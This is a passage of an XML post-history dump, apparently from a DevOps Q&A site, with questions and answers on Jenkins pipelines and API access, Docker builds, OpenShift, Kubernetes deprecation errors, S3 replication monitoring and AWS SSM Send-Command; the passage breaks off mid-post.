  <row Id="17272" PostHistoryTypeId="2" PostId="5434" RevisionGUID="62c542bc-7ec2-4f43-b2b9-a2cc4463f166" CreationDate="2018-11-13T17:57:31.937" UserId="4115" Text="Remove the quotes around `env.BUILD_NUMBER`.&#xD;&#xA;&#xD;&#xA;Instead of:&#xD;&#xA;&#xD;&#xA;    value: 'env.BUILD_NUMBER'&#xD;&#xA;&#xD;&#xA;Try:&#xD;&#xA;&#xD;&#xA;    value: env.BUILD_NUMBER" ContentLicense="CC BY-SA 4.0" />
  <row Id="17277" PostHistoryTypeId="2" PostId="5436" RevisionGUID="3d065bea-391b-4a89-a00e-c6c36a453542" CreationDate="2018-11-13T19:39:00.167" UserId="736" Text="Jenkins API calls are generally made using a username/password combination, or other set of credentials. &#xD;&#xA;&#xD;&#xA;We have a Jenkins instance using &quot;Log in with Google&quot; authentication, meaning no credentials are stored in Jenkins for users since login happens with OAuth. I can neither make a new user with creds of my choice, nor view my own credentials to use for the call. &#xD;&#xA;&#xD;&#xA;I intend to build jobs using the API, so setting the Anonymous roll to be allowed to build isn't an option. If it matters, my goal is to trigger jobs via an AWS Lambda.&#xD;&#xA;&#xD;&#xA;How do I get credentials to use for API calls?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17278" PostHistoryTypeId="1" PostId="5436" RevisionGUID="3d065bea-391b-4a89-a00e-c6c36a453542" CreationDate="2018-11-13T19:39:00.167" UserId="736" Text="How to make a Jenkins API call when using &quot;Log in with Google&quot; as security?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17279" PostHistoryTypeId="3" PostId="5436" RevisionGUID="3d065bea-391b-4a89-a00e-c6c36a453542" CreationDate="2018-11-13T19:39:00.167" UserId="736" Text="&lt;jenkins&gt;&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17280" PostHistoryTypeId="2" PostId="5437" RevisionGUID="eaf0d573-9bf5-4a92-975f-67010baa61d2" CreationDate="2018-11-13T19:40:13.040" UserId="10840" Text="My Dockerfile looks something like this.&#xD;&#xA;&#xD;&#xA;    FROM mhart/alpine-node:8.11.3&#xD;&#xA;    &#xD;&#xA;    RUN mkdir -p /app&#xD;&#xA;    COPY ./ /app&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app/build&#xD;&#xA;    &#xD;&#xA;    RUN yarn global add serve&#xD;&#xA;    CMD [&quot;serve&quot;, &quot;-l&quot;, &quot;3000&quot;]&#xD;&#xA;    &#xD;&#xA;    EXPOSE 3000&#xD;&#xA;&#xD;&#xA;And then JenkinsFile looks something like this.&#xD;&#xA;&#xD;&#xA;     node {&#xD;&#xA;      try {&#xD;&#xA;    &#xD;&#xA;        stage('Checkout source code') {&#xD;&#xA;            checkout scm&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Install packages') {&#xD;&#xA;          sh(&quot;docker run --rm -v `pwd`:/app -w /app node yarn install&quot;)&#xD;&#xA;          //sh(&quot;sudo chown -R jenkins: ./node_modules&quot;)&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Set the enviroment variables') {&#xD;&#xA;          sh(&quot;echo set-env-variables&quot;)&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;        stage('Build static assets') {&#xD;&#xA;    &#xD;&#xA;          sh(&quot;docker run --rm -v `pwd`:/app -w /app node yarn build&quot;)&#xD;&#xA;        }&#xD;&#xA;      }}&#xD;&#xA;&#xD;&#xA;When i do run it on Jenkins,the console output says error Couldn't find a package.json file in &quot;/app&quot; and also it gives an error sudo not found even though i have added jenkins ALL=(ALL) NOPASSWD: ALL to /etc/sudoers file.&#xD;&#xA;&#xD;&#xA;I run the commands listed in my Jenkinsfile on my terminal and they all work fine but when i run them on Jenkins , they dont work." ContentLicense="CC BY-SA 4.0" />
  <row Id="17281" PostHistoryTypeId="1" PostId="5437" RevisionGUID="eaf0d573-9bf5-4a92-975f-67010baa61d2" CreationDate="2018-11-13T19:40:13.040" UserId="10840" Text="packge.json not found while executing on Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="17282" PostHistoryTypeId="3" PostId="5437" RevisionGUID="eaf0d573-9bf5-4a92-975f-67010baa61d2" CreationDate="2018-11-13T19:40:13.040" UserId="10840" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;dockerfile&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17283" PostHistoryTypeId="2" PostId="5438" RevisionGUID="50514f0f-7b59-46af-b524-0fa5fd0a3877" CreationDate="2018-11-14T02:13:11.023" UserId="10844" Text="Here is something super cool I do with AWS SSM Send-Command!&#xD;&#xA;&#xD;&#xA;Using Apache Airflow I create a brand new EC2-Instance using a Cloud Formation Template (or CFT for short) that's just a JSON file with all the configuration values for my EC2-Instance that I want; also note that in this CFT I also have a bootstrap command that copies a Python script from an S3 location to the new EC2-Instance so that I can execute it later on using an SSM Send-Command! I do this using Python3 and the AWS SDK for Python3 called the Boto3 library. Here's part of the command for creating the new CFT Stack that in turn creates my new EC2-Instance:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;&#xD;&#xA;    cft = boto3.client(&quot;cloudformation&quot;, &quot;us-east-1&quot;)&#xD;&#xA;&#xD;&#xA;    response = cft.create_stack(&#xD;&#xA;        StackName='foobarStackName',&#xD;&#xA;        TemplateBody=json.dumps(json_data))&#xD;&#xA;&#xD;&#xA;Then I can get the Instance-ID of the new EC2-Instance (required to use SSM Send-Command) using something like this:&#xD;&#xA;&#xD;&#xA;    response = cft.describe_stacks(&#xD;&#xA;        StackName='foobarStackName',&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;Then I can get the Instance-ID of the current Airflow Worker's server's EC2-Instance by running this command `wget -q -O - http://169.254.169.254/latest/meta-data/instance-id` through Python:&#xD;&#xA;&#xD;&#xA;    output = subprocess.Popen(['wget', '-q', '-O', '-', 'http://169.254.169.254/latest/meta-data/instance-id'],&#xD;&#xA;                              stdout=subprocess.PIPE)&#xD;&#xA;&#xD;&#xA;    # Do some weird stuff to get the value (I'm a Java developer so excuse my bad Python skilz)&#xD;&#xA;    instanceId = str(instanceId).split(&quot;'&quot;)[1]&#xD;&#xA;&#xD;&#xA;**NOW!!!! FOR THE GRAND FINALE**&#xD;&#xA;&#xD;&#xA;I can then execute a script on the new EC2-Instance I created and send that script whatever parameters/arguments I want... including the Instance-ID of the server that sent the SSM Send-Command so that way when my script is done running on the new EC2-Instance it can send another SSM Send-Command back to my Airflow server to tell it that the script is finished. This is at a very high level without details but it's just to demonstrate an idea :)&#xD;&#xA;&#xD;&#xA;    subprocess.run(shlex.split('sudo aws ssm send-command --document-name &quot;AWS-RunShellScript&quot; --parameters commands=[&quot;sudo python3 /home/ec2-user/ec2_file_sensor.py ' + filepath + ' ' + batchIdValue + ' ' + source + ' ' + fileType + ' ' + airflowWorkerInstanceId + '&quot;] --instance-ids ' + ec2ResourceInstanceId + ' --region us-east-1'))&#xD;&#xA;&#xD;&#xA;*Not sure if this helped anyone but it's a cool and FUN example of doing something with the AWS SSM Send-Command! Albeit, probably a code smell xD*&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17284" PostHistoryTypeId="2" PostId="5439" RevisionGUID="c89874ab-df60-42f2-affe-56b681fa40be" CreationDate="2018-11-14T07:04:42.490" UserId="4175" Text="What's the best way to change a statefulset (e.g., modify the ENV parameters, modify PVCs) in OpenShift? `oc edit statefulset xyz` only allows to change the scaling, nothing else.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17285" PostHistoryTypeId="1" PostId="5439" RevisionGUID="c89874ab-df60-42f2-affe-56b681fa40be" CreationDate="2018-11-14T07:04:42.490" UserId="4175" Text="How to change a statefulset in OpenShift?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17286" PostHistoryTypeId="3" PostId="5439" RevisionGUID="c89874ab-df60-42f2-affe-56b681fa40be" CreationDate="2018-11-14T07:04:42.490" UserId="4175" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17290" PostHistoryTypeId="2" PostId="5441" RevisionGUID="48c57e32-49bc-4a2f-8030-cbea7b3fbb18" CreationDate="2018-11-14T08:25:28.367" UserId="10847" Text="Because you are setting the container's `WORKDIR` to `/app/build` so your package.json is not in the working directory, but in the parent of the working directory." ContentLicense="CC BY-SA 4.0" />
  <row Id="17291" PostHistoryTypeId="2" PostId="5442" RevisionGUID="cf83bc56-6122-4359-b5f5-f4c6ae0842dd" CreationDate="2018-11-14T09:57:39.247" UserId="10850" Text="FYI - New to DevOps, please consider. I am using Jenkins+Github for salesforce deployment.&#xD;&#xA;&#xD;&#xA;Setup - We have a develop branch. Feature branches are created out of it. When merged to Develop, the deployment to Salesforce 1st Sandbox happens. After end of every sprint the Develop branch is merged with SIT branch pushing changes to SIT Sandbox.&#xD;&#xA;&#xD;&#xA;Problem Statement - In sprint 2, the QA happens in 1st sandbox for sprint 2 and also QA takes place in SIT Sandbox for sprint n-1 features.&#xD;&#xA;If issue is found in SIT sandbox as part of sprint n-1 testing, the bug is fixed in dev Sandbox and defect feature branch is created from develop and fix is added to it. The branch is merged to develop, fix deployed to 1st Sandbox and tested. If it passes QA, the defect feature branch needs to be  merged with SIT branch to deploy the fix to SIT sandbox and testing to resume.&#xD;&#xA;&#xD;&#xA;Issue - Only the fix needs to be pushed to SIT before the sprint is over and not user story code from sprint 2. But if the fix is made to apex class or object file everything is deployed. How to separate the user story code from sprint 2 and defect fix code for sprint n-1 testing when merging to SIT branch.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="17292" PostHistoryTypeId="1" PostId="5442" RevisionGUID="cf83bc56-6122-4359-b5f5-f4c6ae0842dd" CreationDate="2018-11-14T09:57:39.247" UserId="10850" Text="Push specific changes(defect fix) and not feature changes" ContentLicense="CC BY-SA 4.0" />
  <row Id="17293" PostHistoryTypeId="3" PostId="5442" RevisionGUID="cf83bc56-6122-4359-b5f5-f4c6ae0842dd" CreationDate="2018-11-14T09:57:39.247" UserId="10850" Text="&lt;jenkins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17294" PostHistoryTypeId="2" PostId="5443" RevisionGUID="70151fd3-99ba-4085-9b08-1ebc2941fc3f" CreationDate="2018-11-14T13:23:04.627" UserId="10858" Text="I solved in this way:&#xD;&#xA;&#xD;&#xA;    git add -A&#xD;&#xA;    git diff-index --quiet HEAD || git commit -m &quot;Jenkins automatic update commit&quot;&#xD;&#xA;&#xD;&#xA;Cheers." ContentLicense="CC BY-SA 4.0" />
  <row Id="17298" PostHistoryTypeId="2" PostId="5444" RevisionGUID="2153cba7-d29e-48d1-80a5-9ff0281615e0" CreationDate="2018-11-14T16:58:56.240" UserId="10861" Text="Given I have a Jenkins Job and I want to trigger it after deploying pipline in Gitlab, I'm using webhook..is that possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17299" PostHistoryTypeId="1" PostId="5444" RevisionGUID="2153cba7-d29e-48d1-80a5-9ff0281615e0" CreationDate="2018-11-14T16:58:56.240" UserId="10861" Text="How to trigger Jenkins job by deploying git pipline using webhook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17300" PostHistoryTypeId="3" PostId="5444" RevisionGUID="2153cba7-d29e-48d1-80a5-9ff0281615e0" CreationDate="2018-11-14T16:58:56.240" UserId="10861" Text="&lt;jenkins&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17301" PostHistoryTypeId="50" PostId="5183" RevisionGUID="e51c2f04-0446-4afb-904d-9dacb3729d1f" CreationDate="2018-11-14T17:01:10.170" UserId="-1" />
  <row Id="17302" PostHistoryTypeId="50" PostId="4748" RevisionGUID="378b7b5d-a1e7-49ac-bb9d-b71fa6368676" CreationDate="2018-11-14T18:02:50.517" UserId="-1" />
  <row Id="17303" PostHistoryTypeId="2" PostId="5445" RevisionGUID="1edcfabb-2e1a-4991-b6cf-3c323c626d46" CreationDate="2018-11-14T18:55:38.240" UserId="3096" Text="I'm getting deprecation errors while trying to run a couple of nginx pods&#xD;&#xA;&#xD;&#xA;    bash-4.4$ kubectl run nginx --image=nginx --port=80 --replicas=3&#xD;&#xA;    WARNING: New generator &quot;deployment/apps.v1beta1&quot; specified, but it isn't available. Falling back to &quot;deployment/v1beta1&quot;.&#xD;&#xA;    kubectl run --generator=deployment/apps.v1beta1 is DEPRECATED and will be removed in a future version. Use kubectl create instead.&#xD;&#xA;    error: no matches for kind &quot;Deployment&quot; in version &quot;apps/v1beta1&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;While attempting to add the apps generator I also hit a snag...&#xD;&#xA;&#xD;&#xA;    bash-4.4$ kubectl run nginx --image=nginx --port=80 --replicas=3 --generator=deployment/apps.v1beta1&#xD;&#xA;    kubectl run --generator=deployment/apps.v1beta1 is DEPRECATED and will be removed in a future version. Use kubectl create instead.&#xD;&#xA;    error: no matches for kind &quot;Deployment&quot; in version &quot;apps/v1beta1&quot;&#xD;&#xA;&#xD;&#xA;Not really certain what is going on, I'm just trying a simple hello world, here's the playbook that deploys and exposes&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    #######################################&#xD;&#xA;    # Deploy and expose Nginx service&#xD;&#xA;    #######################################&#xD;&#xA;&#xD;&#xA;    # Expects kubectl being configured on the local machine&#xD;&#xA;    # using kubectl.yml playbook&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;&#xD;&#xA;      - name: Launch 3 nginx pods&#xD;&#xA;        command: &quot;kubectl run nginx --image=nginx --port=80 --replicas=3&quot;&#xD;&#xA;        # command: &quot;kubectl create deployment nginx --image=nginx --generator=deployment-basic/v1beta1&quot;&#xD;&#xA;&#xD;&#xA;      - name: Expose nginx&#xD;&#xA;        command: &quot;kubectl expose deployment nginx --type NodePort&quot;&#xD;&#xA;&#xD;&#xA;      - name: Get exposed port&#xD;&#xA;        command: &quot;kubectl get svc nginx --output=jsonpath='{range .spec.ports[0]}{.nodePort}'&quot;&#xD;&#xA;        register: result&#xD;&#xA;      - set_fact:&#xD;&#xA;          node_port: &quot;{{ result.stdout }}&quot;&#xD;&#xA;&#xD;&#xA;      - debug: msg=&quot;Exposed port {{ node_port }}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And here is some background on the cluster and versions etc&#xD;&#xA;&#xD;&#xA;    bash-4.4$ kubectl version&#xD;&#xA;    Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;12&quot;, GitVersion:&quot;v1.12.2&quot;, GitCommit:&quot;17c77c7898218073f14c8d573582e8d2313dc740&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2018-10-30T21:39:38Z&quot;, GoVersion:&quot;go1.11.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;darwin/amd64&quot;}&#xD;&#xA;    Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;3&quot;, GitVersion:&quot;v1.3.6&quot;, GitCommit:&quot;ae4550cc9c89a593bcda6678df201db1b208133b&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2016-08-26T18:06:06Z&quot;, GoVersion:&quot;go1.6.2&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;&#xD;&#xA;    bash-4.4$ kubectl get  componentstatus&#xD;&#xA;    NAME                 STATUS    MESSAGE              ERROR&#xD;&#xA;    controller-manager   Healthy   ok&#xD;&#xA;    scheduler            Healthy   ok&#xD;&#xA;    etcd-1               Healthy   {&quot;health&quot;: &quot;true&quot;}&#xD;&#xA;    etcd-2               Healthy   {&quot;health&quot;: &quot;true&quot;}&#xD;&#xA;    etcd-0               Healthy   {&quot;health&quot;: &quot;true&quot;}&#xD;&#xA;&#xD;&#xA;Help would be greatly appreciated, I'm holding up some guys at a hackathon ;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17304" PostHistoryTypeId="1" PostId="5445" RevisionGUID="1edcfabb-2e1a-4991-b6cf-3c323c626d46" CreationDate="2018-11-14T18:55:38.240" UserId="3096" Text="Deprecation errors using run to test an nginx container in Kubernetes v1.3.6" ContentLicense="CC BY-SA 4.0" />
  <row Id="17305" PostHistoryTypeId="3" PostId="5445" RevisionGUID="1edcfabb-2e1a-4991-b6cf-3c323c626d46" CreationDate="2018-11-14T18:55:38.240" UserId="3096" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17306" PostHistoryTypeId="5" PostId="627" RevisionGUID="68b64737-aed1-44f9-874d-9d70b3373dd2" CreationDate="2018-11-14T18:57:43.943" UserId="228" Comment="Fixed some factual issues with the comment." Text="[Here][1] is a GitHub Gist code snippet of exactly what you are asking for by Daniil Yaroslavtsev. &#xD;&#xA;&#xD;&#xA;It uses the list of all images and their snapshots and compares the IDs to list of all snapshot IDs. Whatever remains are the orphaned ones. The code works in the same principle as the answer above, but is better formatted and slightly more readable. &#xD;&#xA;&#xD;&#xA;The code takes advantage of the JMESPath with&#xD;&#xA; `--query Snapshots[*].SnapshotId` option (you can also use jp command line utility for that, if its already in your distribution. The formats the output as text with `--output text`. Here is a [link][2] to API reference and few examples. It is slightly more elegant than a long chain of grep/awk/sort/uniq/tr pipes.&#xD;&#xA;&#xD;&#xA;**Warning by Todd Walton**: Don't mistake with 'jq' utility which uses different query language to parse json documents.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/daniilyar/45d3fc1867bf435d8c21e9e4864ff472&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-snapshots.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17307" PostHistoryTypeId="5" PostId="5438" RevisionGUID="4f82ad78-080d-42af-b2e2-015cf7a12559" CreationDate="2018-11-14T19:01:25.560" UserId="10844" Comment="added 43 characters in body" Text="Here is something super cool I do with AWS SSM Send-Command!&#xD;&#xA;&#xD;&#xA;Using Apache Airflow I create a brand new EC2-Instance using a Cloud Formation Template (or CFT for short) that's just a JSON file with all the configuration values for my EC2-Instance that I want; also note that in this CFT I also have a bootstrap command that copies a Python script from an S3 location to the new EC2-Instance so that I can execute it later on using an SSM Send-Command! I do this using Python3 and the AWS SDK for Python3 called the Boto3 library. Here's part of the command for creating the new CFT Stack that in turn creates my new EC2-Instance:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;&#xD;&#xA;    cft = boto3.client(&quot;cloudformation&quot;, &quot;us-east-1&quot;)&#xD;&#xA;&#xD;&#xA;    response = cft.create_stack(&#xD;&#xA;        StackName='foobarStackName',&#xD;&#xA;        TemplateBody=json.dumps(json_data))&#xD;&#xA;&#xD;&#xA;Then I can get the Instance-ID of the new EC2-Instance (required to use SSM Send-Command) using something like this:&#xD;&#xA;&#xD;&#xA;    response = cft.describe_stacks(&#xD;&#xA;        StackName='foobarStackName',&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;Then I can get the Instance-ID of the current Airflow Worker's server's EC2-Instance by running this command `wget -q -O - http://169.254.169.254/latest/meta-data/instance-id` through Python:&#xD;&#xA;&#xD;&#xA;    output = subprocess.Popen(['wget', '-q', '-O', '-', 'http://169.254.169.254/latest/meta-data/instance-id'],&#xD;&#xA;                              stdout=subprocess.PIPE)&#xD;&#xA;&#xD;&#xA;    # Do some weird stuff to get the value (I'm a Java developer so excuse my bad Python skilz)&#xD;&#xA;    instanceId = output.communicate()    &#xD;&#xA;    instanceId = str(instanceId).split(&quot;'&quot;)[1]&#xD;&#xA;&#xD;&#xA;**NOW!!!! FOR THE GRAND FINALE**&#xD;&#xA;&#xD;&#xA;I can then execute a script on the new EC2-Instance I created and send that script whatever parameters/arguments I want... including the Instance-ID of the server that sent the SSM Send-Command so that way when my script is done running on the new EC2-Instance it can send another SSM Send-Command back to my Airflow server to tell it that the script is finished. This is at a very high level without details but it's just to demonstrate an idea :)&#xD;&#xA;&#xD;&#xA;    subprocess.run(shlex.split('sudo aws ssm send-command --document-name &quot;AWS-RunShellScript&quot; --parameters commands=[&quot;sudo python3 /home/ec2-user/ec2_file_sensor.py ' + filepath + ' ' + batchIdValue + ' ' + source + ' ' + fileType + ' ' + airflowWorkerInstanceId + '&quot;] --instance-ids ' + ec2ResourceInstanceId + ' --region us-east-1'))&#xD;&#xA;&#xD;&#xA;*Not sure if this helped anyone but it's a cool and FUN example of doing something with the AWS SSM Send-Command! Albeit, probably a code smell xD*&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17308" PostHistoryTypeId="2" PostId="5446" RevisionGUID="27e96f14-41fe-406e-b747-fa19c5eb75c9" CreationDate="2018-11-14T20:10:08.953" UserId="743" Text="Still no answers, and still no CRR monitoring in place on AWS, here's minimalistic solution, any feedback and suggestions are welcome. This monitor will only show which S3 objects are missing from destination, it will not provide visibility on versions of replicated objects.&#xD;&#xA;&#xD;&#xA;Prerequisites&#xD;&#xA;___&#xD;&#xA; 1. [Enable inventory reports][1] on `src` (Source) and `dst`&#xD;&#xA;    (Destination) buckets&#xD;&#xA; 2. [Create Athena tables][2] (`src_inventory`, `dst_inventory`) based on inventory reports for each bucket&#xD;&#xA;&#xD;&#xA;Monitor&#xD;&#xA;___&#xD;&#xA;Run Athena query after both inventory reports generated e.g. on daily basis, can be [executed from Lambda][3] or build server or any cron.&#xD;&#xA;&#xD;&#xA;Example of Athena query which should show number of missing objects on destination bucket at the time of generation of inventory reports:&#xD;&#xA;&#xD;&#xA;```SELECT count(DISTINCT src.key) &#xD;&#xA;FROM src_inventory src &#xD;&#xA;LEFT JOIN dst_inventory dst &#xD;&#xA;ON src.key = dst.key &#xD;&#xA;WHERE dst.key is NULL&#xD;&#xA;AND src.dt = '2018-11-11-08-00';&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result can be reported as CloudWatch metric and monitored with CloudWatch alarm. &#xD;&#xA;&#xD;&#xA;[1]: Enable-inventory-reports&#xD;&#xA;[2]: Create-Athena-tables&#xD;&#xA;[3]: Athena-executed-from-Lambda" ContentLicense="CC BY-SA 4.0" />
  <row Id="17309" PostHistoryTypeId="5" PostId="5446" RevisionGUID="eb948418-3e06-402b-89c1-b85cc0adb5a4" CreationDate="2018-11-14T20:20:27.653" UserId="743" Comment="added 192 characters in body" Text="Still no answers, and still no CRR monitoring in place on AWS, here's minimalistic solution, any feedback and suggestions are welcome. This monitor will only show which S3 objects are missing from destination, it will not provide visibility on versions of replicated objects.&#xD;&#xA;&#xD;&#xA;Prerequisites&#xD;&#xA;___&#xD;&#xA; 1. [Enable inventory reports][1] on `src` (Source) and `dst`&#xD;&#xA;    (Destination) buckets&#xD;&#xA; 2. [Create Athena tables][2] (`src_inventory`, `dst_inventory`) based on inventory reports for each bucket&#xD;&#xA;&#xD;&#xA;Monitor&#xD;&#xA;___&#xD;&#xA;Run Athena query after both inventory reports generated e.g. on daily basis, can be [executed from Lambda][3] or build server or any cron.&#xD;&#xA;&#xD;&#xA;Example of Athena query which should show number of missing objects on destination bucket at the time of generation of inventory reports:&#xD;&#xA;&#xD;&#xA;```SELECT count(DISTINCT src.key) &#xD;&#xA;FROM src_inventory src &#xD;&#xA;LEFT JOIN dst_inventory dst &#xD;&#xA;ON src.key = dst.key &#xD;&#xA;WHERE dst.key is NULL&#xD;&#xA;AND src.dt = '2018-11-11-08-00';&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result can be reported as CloudWatch metric and monitored with CloudWatch alarm. &#xD;&#xA;&#xD;&#xA;[1]: https://docs.aws.amazon.com/AmazonS3/latest/user-guide/configure-inventory.html&#xD;&#xA;[2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-inventory.html#storage-inventory-athena-query&#xD;&#xA;[3]: https://docs.aws.amazon.com/athena/latest/APIReference/API_StartQueryExecution.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17310" PostHistoryTypeId="2" PostId="5447" RevisionGUID="9725d5a6-5fe6-4e53-b9a1-a04a97b32bbb" CreationDate="2018-11-14T21:04:00.843" UserId="3525" Text="I just played with it locally on a &quot;safe network&quot;, but it may give you an idea.&#xD;&#xA;&#xD;&#xA;I put in `.git/hooks/post-commit` something like:&#xD;&#xA;&#xD;&#xA;    wget --auth-no-challenge --http-user=$USER --http-password=$APITOKEN --secure-protocol=TLSv1 $JENKINS/job/$JOB/build?token=$JOBTOKEN -O /dev/null -o /dev/null&#xD;&#xA;&#xD;&#xA;You need to create API token in jenkins and grab the webhook url for a given job. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17311" PostHistoryTypeId="2" PostId="5448" RevisionGUID="8980f6c7-4d75-4396-b2c5-6f3e6725e594" CreationDate="2018-11-15T01:24:34.300" UserId="10868" Text="This also works, if you want to stay within the `Declarative Pipeline` space&#xD;&#xA;&#xD;&#xA;    def tests = [:]&#xD;&#xA;    def files&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('1') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        files = findFiles(glob: '**/html/*.html')&#xD;&#xA;                        files.each { f -&gt;&#xD;&#xA;                            tests[f] = {&#xD;&#xA;                                node {&#xD;&#xA;                                    echo f.toString()&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                        parallel tests&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }       &#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17312" PostHistoryTypeId="5" PostId="5448" RevisionGUID="2b3e2049-6ca4-4027-a1c8-5ad837afbb03" CreationDate="2018-11-15T02:16:02.510" UserId="10868" Comment="added commentary" Text="This also works, if you want to stay within the `Declarative Pipeline` space&#xD;&#xA;&#xD;&#xA;    // declare our vars outside the pipeline&#xD;&#xA;    def tests = [:]&#xD;&#xA;    def files&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('1') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        // we've declared the variable, now we give it the values&#xD;&#xA;                        files = findFiles(glob: '**/html/*.html')&#xD;&#xA;                        // Loop through them&#xD;&#xA;                        files.each { f -&gt;&#xD;&#xA;                            // add each object from the 'files' loop to the 'tests' array&#xD;&#xA;                            tests[f] = {&#xD;&#xA;                                // use the Advanced Scripting node object here&#xD;&#xA;                                node {&#xD;&#xA;                                    echo f.toString()&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                        // Still within the 'Script' block, run the parallel array object&#xD;&#xA;                        parallel tests&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }       &#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17313" PostHistoryTypeId="2" PostId="5449" RevisionGUID="52bbb99f-1d18-422f-8dc8-da929b63f2eb" CreationDate="2018-11-15T03:49:41.643" UserId="10868" Text="I would recommend using the [Generic Webhook Trigger][1] plugin. &#xD;&#xA;&#xD;&#xA;You can see a full example with complete Jenkins setup here: https://github.com/github/platform-samples/tree/master/hooks/jenkins/master-branch-protect&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/generic-webhook-trigger" ContentLicense="CC BY-SA 4.0" />
  <row Id="17314" PostHistoryTypeId="2" PostId="5450" RevisionGUID="24cbd633-ae8d-4260-b766-a161050994cc" CreationDate="2018-11-15T03:57:39.030" UserId="10868" Text="I would recommend using the [Generic Webhook Trigger][1]... it will allow you to specify a unique token per job and will trigger from a webhook. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/generic-webhook-trigger" ContentLicense="CC BY-SA 4.0" />
  <row Id="17315" PostHistoryTypeId="50" PostId="1832" RevisionGUID="1ca0598f-6819-4332-9d28-5f897b2847a2" CreationDate="2018-11-15T04:05:36.090" UserId="-1" />
  <row Id="17316" PostHistoryTypeId="2" PostId="5451" RevisionGUID="2cbfef35-951c-44cf-a4e7-aae9a8d4d246" CreationDate="2018-11-15T04:18:33.723" UserId="10868" Text="Looks like you're missing a plugin. Remove the `[$class: 'ScannerJobProperty', doNotScan: false]` portion. This works:&#xD;&#xA;&#xD;&#xA;*Upstream Job*&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('Build parameters') {&#xD;&#xA;            properties(&#xD;&#xA;                [parameters(&#xD;&#xA;                    [string(&#xD;&#xA;                        defaultValue: '***', &#xD;&#xA;                        description: '', &#xD;&#xA;                        name: 'version', &#xD;&#xA;                        trim: false)&#xD;&#xA;                    ])&#xD;&#xA;                ])&#xD;&#xA;        }&#xD;&#xA;        echo env.BUILD_NUMBER&#xD;&#xA;        def Latest_Build_Number = env.BUILD_NUMBER&#xD;&#xA;        build(&#xD;&#xA;            job: 'Downstream', &#xD;&#xA;            parameters: [&#xD;&#xA;                [$class: 'StringParameterValue', &#xD;&#xA;                 name: 'Latest_Build_Number', &#xD;&#xA;                 value: env.BUILD_NUMBER, &#xD;&#xA;                 propagate: false]&#xD;&#xA;            ]&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;*Downstream Job*&#xD;&#xA;&#xD;&#xA;    node {&#xD;&#xA;        stage('Downstream') {&#xD;&#xA;            properties([&#xD;&#xA;                parameters([string(&#xD;&#xA;                    defaultValue: '', &#xD;&#xA;                    description: '', &#xD;&#xA;  